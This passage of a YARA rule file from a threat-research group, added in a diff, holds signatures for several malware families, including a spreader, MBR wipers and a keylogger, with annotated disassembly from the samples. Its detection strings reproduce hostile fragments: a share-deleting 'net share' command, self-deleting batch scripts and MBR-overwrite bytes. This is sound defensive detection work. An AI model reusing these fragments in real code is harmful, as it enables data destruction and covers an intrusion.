+		B9 0C 00 00 00        mov     ecx, 0Ch
+		F7 F9                 idiv    ecx
+		42                    inc     edx
+		66 89 54 24 0E        mov     [esp+1Ch+SystemTime.wMonth], dx
+		FF D6                 call    esi ; rand
+		99                    cdq
+		B9 1C 00 00 00        mov     ecx, 1Ch
+		F7 F9                 idiv    ecx
+		42                    inc     edx
+		66 89 54 24 12        mov     [esp+1Ch+SystemTime.wDay], dx
+		FF D6                 call    esi ; rand
+		99                    cdq
+		B9 17 00 00 00        mov     ecx, 17h
+		F7 F9                 idiv    ecx
+		42                    inc     edx
+		66 89 54 24 14        mov     [esp+1Ch+SystemTime.wHour], dx
+		FF D6                 call    esi ; rand
+		99                    cdq
+		B9 3B 00 00 00        mov     ecx, 3Bh
+		F7 F9                 idiv    ecx
+		42                    inc     edx
+		66 89 54 24 16        mov     [esp+1Ch+SystemTime.wMinute], dx
+		FF D6                 call    esi ; rand
+		99                    cdq
+		B9 3B 00 00 00        mov     ecx, 3Bh
+		F7 F9                 idiv    ecx
+	*/
+
+	$a = {
+			66 81 [3] FE FF 
+			FF [1-4] 
+			99 
+			B9 0C 00 00 00 
+			F7 [1-4] 
+			42 
+			66 89 [3]  
+			FF D6 
+			99 
+			B9 1C 00 00 00 
+			F7 [1-4] 
+			42 
+			66 89 [3] 
+			FF D6 
+			99 
+			B9 17 00 00 00 
+			F7 [1-4] 
+			42 
+			66 89 [3] 
+			FF D6 
+			99 
+			B9 3B 00 00 00 
+			F7 [1-4] 
+			42 
+			66 89 [3] 
+			FF D6 
+			99 
+			B9 3B 00 00 00 
+			F7 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule CPUInfoExtraction
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "Cmd10010_296fcc9d611ca1b8f8288192d6d854cf4072853010cc65cb0c7f958626999fbd.bin"
+
+	strings:
+	/*
+		68 00 00 00 80     push    80000000h       ; a2
+		8B 02              mov     eax, [edx]
+		8B 4A 04           mov     ecx, [edx+4]
+		89 4C 24 10        mov     [esp+2Ch+var_1C], ecx
+		8B 4A 08           mov     ecx, [edx+8]
+		89 4C 24 14        mov     [esp+2Ch+var_18], ecx
+		8B 4A 0C           mov     ecx, [edx+0Ch]
+		8D 54 24 1C        lea     edx, [esp+2Ch+var_10]
+		89 8E 70 03 00 00  mov     [esi+370h], ecx
+		52                 push    edx             ; a1
+		8B CE              mov     ecx, esi
+		89 86 6C 03 00 00  mov     [esi+36Ch], eax
+		E8 29 FF FF FF     call    GetCPUIDValues
+		8B C8              mov     ecx, eax
+		8B 01              mov     eax, [ecx]
+		3D 00 00 00 80     cmp     eax, 80000000h
+		8B 51 04           mov     edx, [ecx+4]
+	*/
+
+	$a = {
+			68 00 00 00 80 
+			8B ?? 
+			8B ?? 04 
+			89 [3] 
+			8B ?? 08 
+			89 [3] 
+			8B ?? 0C 
+			8D [3] 
+			89 [5] 
+			5? 
+			8B ?? 
+			89 [5]
+			E8 [4]
+			8B ?? 
+			8B ?? 
+			3D 00 00 00 80 
+			8B ?? 04 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule SierraAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "4d4b17ddbcf4ce397f76cf0a2e230c9d513b23065f746a5ee2de74f447be39b9.ex_"
+
+	strings:
+	/*
+		8D 54 24 08              lea     edx, [esp+128h+argp]
+		52                       push    edx             ; argp
+		68 7E 66 04 80           push    8004667Eh       ; cmd
+		56                       push    esi             ; s
+		E8 DB 51 00 00           call    ioctlsocket
+		8D 44 24 14              lea     eax, [esp+128h+name]
+		6A 10                    push    10h             ; namelen
+		50                       push    eax             ; name
+		56                       push    esi             ; s
+		E8 C8 51 00 00           call    connect
+		8B 8C 24 34 01 00 00     mov     ecx, [esp+128h+dwTimeout]
+		8D 54 24 0C              lea     edx, [esp+128h+timeout]
+		52                       push    edx             ; timeout
+		8D 44 24 28              lea     eax, [esp+12Ch+writefds]
+		6A 00                    push    0               ; exceptfds
+		50                       push    eax             ; writefds
+		6A 00                    push    0               ; readfds
+		6A 00                    push    0               ; nfds
+		89 74 24 3C              mov     [esp+13Ch+writefds.fd_array], esi
+		89 7C 24 38              mov     [esp+13Ch+writefds.fd_count], edi
+		89 4C 24 20              mov     [esp+13Ch+timeout.tv_sec], ecx
+		C7 44 24 24 00 00 00 00  mov     [esp+13Ch+timeout.tv_usec], 0
+		E8 92 51 00 00           call    select
+		33 C9                    xor     ecx, ecx
+		56                       push    esi             ; s
+		85 C0                    test    eax, eax
+		0F 9F C1                 setnle  cl
+		8B F9                    mov     edi, ecx
+		E8 7D 51 00 00           call    closesocket
+	*/
+
+	$connectTest = { 8D [3] 5? 68 7E 66 04 80 5? E8 [4] 8D [3] 6A 10 5? 5? E8 [4] 8B [6] 8D [3] 5? 8D [3] 6A 00 5? 6A 00 6A 00 
+			89 [3] 89 [3] 89 [3] C7 [7] E8 [4] 33 ?? 5? 85 C0 0F 9F ?? 8B ?? E8 }
+
+	/*
+		E8 D8 62 00 00                                call    rand
+		8B F8                                         mov     edi, eax
+		E8 D1 62 00 00                                call    rand
+		0F AF F8                                      imul    edi, eax
+		E8 C9 62 00 00                                call    rand
+		0F AF C7                                      imul    eax, edi
+		99                                            cdq
+		33 C2                                         xor     eax, edx
+		2B C2                                         sub     eax, edx
+		33 D2                                         xor     edx, edx
+		F7 F6                                         div     esi
+		8B FA                                         mov     edi, edx
+		57                                            push    edi
+		E8 05 13 00 00                                call    sub_402BD0
+	*/
+	 	$maths = { E8 [4] 8B ?? E8 [4] 0F AF ?? E8 [4] 0F AF ?? 99 33 ?? 2B ?? 33 ?? F7 ?? 8B ?? 5? E8}
+		
+		$s1 = "recdiscm32.exe"
+		$s2 = "\\\\%s\\shared$\\syswow64"
+		$s3 = "\\\\%s\\shared$\\system32"
+
+	condition:
+		$connectTest in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $maths in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or 3 of ($s*)
+
+}
+
+// Brambul related signatures
+
+import "pe"
+
+rule SierraBravo_Two
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		/*
+		.text:00403D5A                 mov     word ptr [esi+0Eh], 0C807h
+		.text:00403D60                 mov     dword ptr [esi+39h], 800000D4h
+		.text:00403D67                 mov     byte ptr [edi], 0Ch							<---- ignored
+		.text:00403D6A                 mov     word ptr [esi+25h], 0FFh
+		.text:00403D70                 mov     word ptr [esi+27h], 0A4h
+		.text:00403D76                 mov     word ptr [esi+29h], 4104h
+		.text:00403D7C                 mov     word ptr [esi+2Bh], 32h
+		
+		or
+		
+		.text:100036F9                 mov     word ptr [ebx+0Eh], 0C807h
+														---- begin ignored -----
+		.text:100036FF                 rep movsd
+		.text:10003701                 lea     edi, [ebx+60h]
+		.text:10003704                 mov     ecx, 9
+		.text:10003709                 mov     esi, offset aWindows2000219 ; "windows 2000 2195"
+														---- end ignored -----
+		.text:1000370E                 mov     dword ptr [ebx+39h], 800000D4h
+		.text:10003715                 mov     word ptr [ebx+25h], 0FFh
+		.text:1000371B                 mov     word ptr [ebx+27h], 0A4h
+		.text:10003721                 mov     word ptr [ebx+29h], 4104h
+		.text:10003727                 mov     word ptr [ebx+2Bh], 32h
+		*/
+		$smbComNegotiationPacketGen = { 66 C7 ?? 0E 07 C8 
+																		[0-32]
+																		C7 ?? 39 D4 00 00 80 
+																		[0-32]
+																		66 C7 ?? 25 FF 00 
+																		[0-32]
+																		66 C7 ?? 27 A4 00 
+																		[0-32]
+																		66 C7 ?? 29 04 41 
+																		[0-32]
+																		66 C7 ?? 2B 32 00
+																	}
+
+		$lib = "!emCFgv7Xc8ItaVGN0bMf"
+		$api1 = "!ctRHFEX5m9JnZdDfpK"
+		$api2 = "!emCFgv7Xc8ItaVGN0bMf"
+		$api3 = "!VWBeBxYx1nzrCkBLGQO"		
+		$pwd = "iamsorry!@1234567"										
+
+		
+	condition:
+		$smbComNegotiationPacketGen in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or ($pwd in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+		 		and 
+		 		($lib in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+				or $api1 in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+				or $api2 in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+				or $api3 in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+		))
+
+}
+
+
+rule SierraBravo_One
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		/*
+			.text:00402A65                 push    8004667Eh       ; cmd
+			.text:00402A6A                 push    esi             ; s
+			.text:00402A6B                 call    ioctlsocket
+			.text:00402A70                 push    32h             ; dwMilliseconds
+			.text:00402A72                 mov     [esp+24Ch+writefds.fd_array], esi
+			.text:00402A79                 mov     [esp+24Ch+writefds.fd_count], 1
+			.text:00402A84                 mov     [esp+24Ch+timeout.tv_sec], 3
+			.text:00402A8C                 mov     [esp+24Ch+timeout.tv_usec], 0			
+		*/
+		$spreaderSetup = {68 7E 66 04 80 
+											5? 
+											E8 [4] 
+											6A 32 
+											89 B4 [5]
+											C7 84 [5] 01 00 00 00 
+											C7 44 [2] 03 00 00 00 
+											C7 44 [2] 00 00 00 00 }
+
+	condition:
+		$spreaderSetup in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule SierraBravo_packed
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "cmd.exe /c \"net share admin$ /d\""
+		$ = "MAIL FROM:<"
+		$ = ".petite"
+		$ = "Subject: %s|%s|%s"
+	condition:
+		3 of them
+	
+}
+
+
+import "pe"
+
+rule SierraCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "f4750e1d82b08318bdc1eb6d3399dee52750250f7959a5e4f83245449f399698.bin"
+
+	strings:
+	/*
+		8B 0D 50 A7 56 00  mov     ecx, DnsFree
+		81 F6 8C 3F 7C 5E  xor     esi, 5E7C3F8Ch
+		6A 01              push    1               ; _DWORD
+		50                 push    eax             ; _DWORD
+		85 C9              test    ecx, ecx
+		74 3A              jz      short loc_40580B
+		FF D1              call    ecx ; DnsFree
+	*/
+
+	$dnsResolve = {
+			8B 0D 50 A7 56 00 
+			81 F6 8C 3F 7C 5E 
+			6A 01 
+			50 
+			85 C9 
+			74 3A 
+			FF D1 
+		}
+		
+	$file1 = "wmplog21t.sqm"
+	$file2 = "wmplog15r.sqm"
+	$file3 = "wmplog09c.sqm"
+		
+
+	condition:
+		$dnsResolve in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or 2 of ($file*)
+}
+
+
+import "pe"
+
+rule SierraJuliettMikeOne
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$commKey = { 10 20 30 40 50 60 70 80 90 11 12 13 1A FF EE 48 }
+		/*
+		.text:10001850                 push    7530h           ; dwTimeout
+		.text:10001855                 lea     eax, [esp+420h+a2]
+		.text:10001859                 push    4               ; len
+		.text:1000185B                 push    eax             ; a2
+		.text:1000185C                 push    esi             ; s
+		.text:1000185D                 mov     dword ptr [esp+42Ch+a2], 1000h
+		.text:10001865                 call    CommSendWithTimeout
+		.text:1000186A                 add     esp, 14h
+		.text:1000186D                 cmp     eax, 0FFFFFFFFh
+		.text:10001870                 jz      loc_10001915
+		.text:10001876                 lea     ecx, [esp+418h+random]
+		.text:1000187A                 push    ecx             ; a1
+		.text:1000187B                 call    Generate16ByteRandomBuffer
+		.text:10001880                 push    0               ; fEncrypt
+		.text:10001882                 push    7530h           ; dwTimeout		
+		*/
+		$handshake = { 68 30 75 00 00 [4] 6A 04 5? 5? C? [3] 00 10 00 00 E8 [7] 83 F8 FF 0F 84 ?? ?? 00 00 8? [3] 5? E8 [4] 6A 00 68 30 75 00 00 }
+		
+	condition:
+		$commKey in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size))
+		and $handshake in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+
+}
+
+
+import "pe"
+
+
+rule RomeoJuliettMikeTwo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "819722ba1c5b9d0b360c54cbdd3811d0cac1a9230720b3ed4815f78bcacb3653_d1ba9ba2987f59d99ce4bf09393c0521c4d1f2961c5aeed4e0bf86e78303d27c"
+
+	strings:
+	/*
+		81 7C 24 24 33 27 00 00  cmp     [esp+1Ch+dwBytesToRead], 2733h
+		75 7F                    jnz     short loc_10002B74
+		8D 54 24 14              lea     edx, [esp+1Ch+var_8]
+		52                       push    edx             ; Time
+		FF 15 5C 11 02 10        call    ds:time
+		8B 44 24 14              mov     eax, [esp+20h+var_C]
+		83 C4 04                 add     esp, 4
+		8B C8                    mov     ecx, eax
+		40                       inc     eax
+		83 F9 64                 cmp     ecx, 64h
+	*/
+
+	$recvFunc = { 81 [3] 33 27 00 00 75 ?? 8D [3] 5? FF 15 [4] 8B [3] 83 ?? 04 8B ?? 4? 83 ?? 64 }
+
+	/*
+		E8 74 31 00 00     call    GetStringByIndex
+		8B 7C 24 14        mov     edi, [esp+0Ch+dwFuncIndex]
+		8B F0              mov     esi, eax
+		57                 push    edi             ; index
+		E8 68 31 00 00     call    GetStringByIndex
+		83 C4 08           add     esp, 8
+		85 F6              test    esi, esi
+		74 21              jz      short loc_10001040
+		85 C0              test    eax, eax
+		74 1D              jz      short loc_10001040
+		56                 push    esi             ; lpLibFileName
+		FF 15 2C 10 02 10  call    ds:LoadLibraryA
+		57                 push    edi             ; index
+		8B F0              mov     esi, eax
+		E8 4E 31 00 00     call    GetStringByIndex
+		83 C4 04           add     esp, 4
+		50                 push    eax             ; lpProcName
+		56                 push    esi             ; hModule
+		FF 15 5C 10 02 10  call    ds:GetProcAddress
+	*/
+
+	$apiLoader = { E8 [4] 8B [3] 8B ?? 5? E8 [4] 83 C4 08 85 ?? 74 ?? 85 C0 74 ?? 5? FF 15 [4] 5? 8B ?? E8 [4] 83 C4 04 5? 5? FF 15 }
+
+	/*
+		68 B8 0B 00 00           push    0BB8h           ; dwMilliseconds
+		FF 15 18 10 02 10        call    ds:Sleep
+		6A 01                    push    1               ; dwTimeout
+		8D 4C 24 10              lea     ecx, [esp+4C0h+peerEntries]
+		68 B0 04 00 00           push    4B0h            ; dwBytesToRead
+		51                       push    ecx             ; pvRecvBuffer
+		8B CE                    mov     ecx, esi        ; this
+		C7 44 24 14 B0 04 00 00  mov     [esp+4C8h+Memory], 4B0h
+		E8 25 F4 FF FF           call    CClientConnection__RecvData
+		83 F8 FF                 cmp     eax, 0FFFFFFFFh
+	*/
+
+	$recvPeers = { 68 B8 0B 00 00 FF 15 [4] 6A 01 [0-4] 68 B0 04 00 00 51 8B ?? [1-4] B0 04 00 00 E8 [4] 83 F8 FF	}		
+		
+	$logFileName = "KBD_%%s_%%02d%%02d%%02d%%02d%%02d.CAT"
+	
+	condition:
+		$recvFunc in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $apiLoader in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $recvPeers in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $logFileName
+}
+
+
+// yara sigs for detecting common suicide scripts
+
+rule SuicideScriptL1
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = ":L1\ndel \"%s\"\nif exist \"%s\" goto L1\ndel \"%s\"\n"
+	condition:
+		any of them
+}
+
+rule SuicideScriptR1_Multi
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+	
+	strings:
+		$ = "\" goto R1\ndel /a \""
+		$ = "\"\nif exist \""
+		$ = "@echo off\n:R1\ndel /a \""
+	condition:
+		all of them
+}
+
+rule SuicideScriptR
+{
+	// joanap, joanapCleaner
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = ":R\nIF NOT EXIST %s GOTO E\ndel /a %s\nGOTO R\n:E\ndel /a d.bat"
+		
+	condition:
+		all of them
+
+}
+
+rule TangoAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		// $firewall is a shared code string
+		$firewall = "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d \"%s\""
+		
+		$testStatus1 = "*****[Start Test -> %s:%d]" wide
+		$testStatus2 = "*****[Relay Connect " wide
+		$testStatus3 = "*****[Listen Port %d] - " wide
+		$testStatus4 = "*****[Error Socket]" wide
+		$testStatus5 = "*****[End Test]" wide
+
+	condition:
+		2 of them
+}
+
+import "pe"
+
+rule TangoBravo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "2aa9cd3a2db2bd9dbe5ee36d9a5fc42b50beca806f9d644f387d5a680a580896"
+
+	strings:
+	/*
+		50                 push    eax             ; SubStr
+		55                 push    ebp             ; Str
+		FF D3              call    ebx ; strstr
+		83 C4 08           add     esp, 8
+		85 C0              test    eax, eax
+		75 1A              jnz     short loc_401131
+		8A 8E 08 01 00 00  mov     cl, [esi+108h]
+		81 C6 08 01 00 00  add     esi, 108h
+		47                 inc     edi
+		8B C6              mov     eax, esi
+		84 C9              test    cl, cl
+		75 E2              jnz     short loc_40110C
+	*/
+
+	$targetDomainCheck = {
+			5? 
+			5? 
+			FF ?? 
+			83 C4 08 
+			85 C0 
+			75 ?? 
+			8? ?? 08 01 00 00 
+			8? ?? 08 01 00 00 
+			4? 
+			8B ?? 
+			84 ?? 
+			75  
+		}
+
+	condition:
+		$targetDomainCheck in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+import "pe"
+
+rule UniformAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "a24377681cf56c712e544af01ac8a5dbaa81d16851a17a147bbf5132890d7437"
+
+	strings:
+	/*
+		8D 44 24 10        lea     eax, [esp+2Ch+ServiceStatus]
+		50                 push    eax             ; lpServiceStatus
+		6A 01              push    1               ; dwControl
+		56                 push    esi             ; hService
+		FF D3              call    ebx ; ControlService
+		83 7C 24 14 01     cmp     [esp+2Ch+ServiceStatus.dwCurrentState], 1
+		75 EF              jnz     short loc_4010A5
+		56                 push    esi             ; hService
+		FF 15 08 70 40 00  call    ds:DeleteService
+	*/
+
+	$stopDeleteService = {
+			8D [3] 
+			5? 
+			6A 01 
+			5? 
+			FF D? 
+			83 [3] 01 
+			75 ?? 
+			5? 
+			FF 15  
+		}
+
+	condition:
+		$stopDeleteService in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule UniformJuliett
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "Cmd03000_1a6f62e1630d512c3b67bfdbff26270177585c82802ffa834b768ff47be0a008.bin"
+
+	strings:
+		/*
+			56                 push    esi             ; hSCObject
+			FF D5              call    ebp ; CloseServiceHandle
+			68 B8 0B 00 00     push    0BB8h           ; dwMilliseconds
+			FF 15 38 70 40 00  call    ds:Sleep
+			6A 00              push    0               ; fCreateHighestLevel
+			68 60 A9 40 00     push    offset PathName ; lpPathName
+			E8 43 FE FF FF     call    RecursivelyCreateDirectories
+			83 C4 08           add     esp, 8
+			68 60 A9 40 00     push    offset PathName ; lpFileName
+			FF 15 3C 70 40 00  call    ds:DeleteFileA
+		*/
+		
+		$a = {
+				56 
+				FF D5 
+				68 B8 0B 00 00 
+				FF 15 [4] 
+				6A 00 
+				68 [4]
+				E8 [4]
+				83 C4 08 
+				68 [4]
+				FF 15 
+			}
+		
+		$ = "wauserv.dll"
+		$ = "Rpcss"
+	
+	condition:
+		all of them
+}
+
+
+import "pe"
+
+rule WhiskeyAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "1c66e67a8531e3ff1c64ae57e6edfde7bef2352d.ex_"
+
+	strings:
+	/*
+		E8 77 07 00 00     call    _rand
+		B1 FB              mov     cl, 0FBh
+		F6 E9              imul    cl
+		88 44 34 08        mov     [esp+esi+10008h+randomData], al
+		46                 inc     esi
+		81 FE 00 00 01 00  cmp     esi, 10000h
+		7C EA              jl      short loc_402E8D
+	*/
+
+	$randomBuffer = {
+			E8 [4] 
+			B1 ?? 
+			F6 E9 
+			88 [3] 
+			4? 
+			81 ?? 00 00 01 00 
+			7C  
+		}
+
+	/*
+		89 58 09              mov     [eax+9], ebx
+		C7 40 65 00 00 02 00  mov     dword ptr [eax+65h], 20000h
+		C7 40 15 04 00 00 00  mov     dword ptr [eax+15h], 4
+		C6 40 08 08           mov     byte ptr [eax+8], 8
+		C7 40 04 00 02 00 00  mov     dword ptr [eax+4], 200h
+		89 18                 mov     [eax], ebx
+		89 58 0D              mov     [eax+0Dh], ebx
+		C7 40 11 01 00 00 00  mov     dword ptr [eax+11h], 1
+		89 58 69              mov     [eax+69h], ebx
+		89 58 19              mov     [eax+19h], ebx
+		B8 01 00 00 00        mov     eax, 1
+	*/
+	$mbrDiskInfo = {
+			89 ?? 09 
+			C7 ?? 65 00 00 02 00 
+			C7 ?? 15 04 00 00 00 
+			C6 ?? 08 08 
+			C7 ?? 04 00 02 00 00 
+			89 ?? 
+			89 ?? 0D
+			C7 ?? 11 01 00 00 00 
+			89 ?? 69 
+			89 ?? 19 
+			B8 01 00 00 00 
+		}
+		
+
+		// the replacement MBRs in both encoded (XOR 0x53) and decoded form		
+		$mbrReplacement_Decoded = { B4 43 B0 00 CD 13 FE C2 80 FA 84 7C F3 B2 80 BF 65 7C 81 05 00 04 83 55 02 00 83 55 04 00 }
+		$mbrReplacement_Encoded = { E7 10 E3 53 9E 40 AD 91 D3 A9 D7 2F A0 E1 D3 EC 36 2F D2 56 53 57 D0 06 51 53 D0 06 57 53 }
+	
+		$licKey = "99E2428CCA4309C68AAF8C616EF3306582A64513E55C786A864BC83DAFE0C78585B692047273B0E55275102C664C5217E76B8E67F35FCE385E4328EE1AD139EA6AA26345C4F93000DBBC7EF1579D4F"
+		
+	condition:
+		$licKey or $mbrReplacement_Decoded or $mbrReplacement_Encoded
+		or $randomBuffer in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $mbrDiskInfo in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+import "pe"
+
+rule WhiskeyBravo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "74eac0461c40316689ac2d598f606caa3965195b22f23d5acefeedfcdf056c5b"
+		Source = "41badf10ef6f469dd1c3be201aba809f9c42f86ad77d7f83bc3895bfa289c635"
+		Source = "d079a266ed2a852c33cdac3df115d163ebbf2c8dae32d935e895cf8193163b13"
+
+	strings:
+	/*
+		6A 04              push    4               ; MaxCount  <--- this arg is not found in some variants (41bad..) as wcscmp is used instead
+		68 08 82 00 10     push    offset Str2     ; ".doc"
+		56                 push    esi             ; Str1
+		FF D7              call    edi ; _wcsnicmp            <--- d07... variant uses a direct call instead
+		83 C4 0C           add     esp, 0Ch										<--- when wcscmp is used, this is add esp, 8
+		85 C0              test    eax, eax
+		0F 84 5B 02 00 00  jz      loc_100017D5
+		6A 05              push    5               ; MaxCount
+		68 FC 81 00 10     push    offset a_docx   ; ".docx"
+		56                 push    esi             ; Str1
+		FF D7              call    edi ; _wcsnicmp
+		83 C4 0C           add     esp, 0Ch
+		85 C0              test    eax, eax
+		0F 84 46 02 00 00  jz      loc_100017D5
+		6A 04              push    4               ; MaxCount
+		68 F0 81 00 10     push    offset a_docm   ; ".docm"
+		56                 push    esi             ; Str1
+		FF D7              call    edi ; _wcsnicmp
+		83 C4 0C           add     esp, 0Ch
+		85 C0              test    eax, eax
+		0F 84 31 02 00 00  jz      loc_100017D5
+		6A 04              push    4               ; MaxCount
+		68 E4 81 00 10     push    offset a_wpd    ; ".wpd"
+		56                 push    esi             ; Str1
+		FF D7              call    edi ; _wcsnicmp
+	*/
+
+	$a = {68 [4] 5? FF D? 83 C4 0C 85 C0 0F 84 [4] [0-2] 68 [4] 5? FF D? 83 C4 0C 85 C0 0F 84 [4] [0-2] 68 [4] 5? FF D? 83 C4 0C 85 C0 0F 84 }
+
+	$ext1 = ".wpd" wide nocase
+	$ext2 = ".doc" wide nocase
+	$ext3 = ".hwp" wide nocase
+	
+	condition:
+		2 of ($ext*) and $a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule WhiskeyCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "47ff4f73738acc2f8433dccb2caf980d7444d723ccf2968d69f88f8f96405f96"
+
+	strings:
+	/*
+		66 89 55 DC     mov     [ebp+SystemTime.wYear], dx
+		E8 1E 16 00 00  call    _rand
+		6A 0C           push    0Ch
+		99              cdq
+		59              pop     ecx
+		F7 F9           idiv    ecx
+		42              inc     edx
+		66 89 55 DE     mov     [ebp+SystemTime.wMonth], dx
+		E8 0E 16 00 00  call    _rand
+		6A 1C           push    1Ch
+		99              cdq
+		59              pop     ecx
+		F7 F9           idiv    ecx
+		42              inc     edx
+		66 89 55 E2     mov     [ebp+SystemTime.wDay], dx
+		E8 FE 15 00 00  call    _rand
+		6A 18           push    18h
+		99              cdq
+		59              pop     ecx
+		F7 F9           idiv    ecx
+		66 89 55 E4     mov     [ebp+SystemTime.wHour], dx
+		E8 EF 15 00 00  call    _rand
+		6A 3C           push    3Ch
+		99              cdq
+		59              pop     ecx
+		F7 F9           idiv    ecx
+		66 89 55 E6     mov     [ebp+SystemTime.wMinute], dx
+		E8 E0 15 00 00  call    _rand
+		6A 3C           push    3Ch
+		99              cdq
+		59              pop     ecx
+		F7 F9           idiv    ecx
+	*/
+
+	$a = {
+			66 89 55 DC 
+			E8 [4] 
+			6A 0C 
+			99 
+			59 
+			F7 F9 
+			42 
+			66 89 55 DE 
+			E8 [4] 
+			6A 1C 
+			99 
+			59 
+			F7 F9 
+			42 
+			66 89 55 E2 
+			E8 [4] 
+			6A 18 
+			99 
+			59 
+			F7 F9 
+			66 89 55 E4 
+			E8 [4] 
+			6A 3C 
+			99 
+			59 
+			F7 F9 
+			66 89 55 E6 
+			E8 [4] 
+			6A 3C 
+			99 
+			59 
+			F7 F9 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
